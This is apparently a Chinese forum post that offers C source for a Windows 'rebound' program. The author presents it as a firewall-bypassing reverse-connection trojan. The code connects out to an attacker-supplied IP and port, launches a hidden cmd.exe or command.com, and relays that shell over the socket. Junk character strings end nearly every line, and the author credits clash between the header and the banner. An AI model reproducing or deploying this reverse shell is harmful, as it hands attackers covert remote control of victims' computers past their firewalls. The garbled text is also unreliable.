这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 x2sOEkcQ
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/* ============================== 8VmN?"5v
Rebound port in Windows NT 1!wEXH(
By wind,2006/7 &i^NStqu
===============================*/ Oc9>F\]_m
#include U_;J.{n
#include 9sj W
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#pragma comment(lib,"wsock32.lib") "EYjY->
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void OutputShell(); r)]CZ])
SOCKET sClient; |Du13i4].&
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Qsxkw
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void main(int argc,char **argv) #(+HSZm
{ w00\1'-Kz
WSADATA stWsaData; F` 5/9?;|
int nRet; !# :$u=
SOCKADDR_IN stSaiClient,stSaiServer; RhNaYO
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if(argc != 3) $A@3ogoS&
{ bM0[V5:jB
printf("Useage:\n\rRebound DestIP DestPort\n"); NND=Zxl
return; !K3cf]2UD
} (E}cA&{
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WSAStartup(MAKEWORD(2,2),&stWsaData); >X,Ag
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Gi2ad+QH-
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stSaiClient.sin_family = AF_INET; 5%+bWI{w
stSaiClient.sin_port = htons(0); pb6^sA%l
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); `vxrC&,As
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) P"uHtHK
{ ObyuhAR
printf("Bind Socket Failed!\n"); LL[#b2CKa
return; EY&C[=
} EKd3$(^
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stSaiServer.sin_family = AF_INET; x~9z`d{!
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Ipz
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Eh@T W%9*
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) +#uNQ`1v
{ )*K<;WIWH
printf("Connect Error!"); *Iwk47J ;a
return; |] !o*7"4
} mOgOHb2
OutputShell();
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} }\ 939Y
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void OutputShell() U 'CfP9=
{ blfE9Oy
char szBuff[1024]; {pe7]P?
SECURITY_ATTRIBUTES stSecurityAttributes; HCx%_9xlm
OSVERSIONINFO stOsversionInfo; 'ztL3(|X6
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 8gbm "!
STARTUPINFO stStartupInfo; B3>Uba*-)}
char *szShell; \l]pe|0EW
PROCESS_INFORMATION stProcessInformation; 'y6!%k*
unsigned long lBytesRead; =,d* {m~A
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); @nx}6?p\,
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); XiRT|%j
stSecurityAttributes.lpSecurityDescriptor = 0; g{v5mly
stSecurityAttributes.bInheritHandle = TRUE; ]]uzl0LH
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); gR;8ht(pd(
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); uspkn1-
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Sj0 ucnuHi
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <E[HlL
stStartupInfo.wShowWindow = SW_HIDE; ^%5~;
stStartupInfo.hStdInput = hReadPipe; J+@MzkpK
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 5X `w&(]m
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GetVersionEx(&stOsversionInfo); H-_^TB
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switch(stOsversionInfo.dwPlatformId) I mPu}
{ UAx.Qq
case 1: %oh`EGmVP
szShell = "command.com"; UH 47e
break; /o|PA:6J
default: E/~"j
szShell = "cmd.exe"; !dyxE'T2
break; pkXfsi-Nu
} #h gmUa
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); L}}=yh6r
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send(sClient,szMsg,77,0); Q{AZ'XV
while(1) FQk_#BkK
{ Mhb '^\px
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); H@%7\g,`
if(lBytesRead) vo(g0Au)
{ ?qg^WDs$
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); bkr~13S{+
send(sClient,szBuff,lBytesRead,0); q GpP,
} I|g@W_
else lh,ylh
{ ?iPZsV
lBytesRead=recv(sClient,szBuff,1024,0); A6^p}_
if(lBytesRead<=0) break; E!zd(
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); %\}dbYS
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} ( zn_8s
} 5q5 )uv"
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return; Gur8.A;Y
}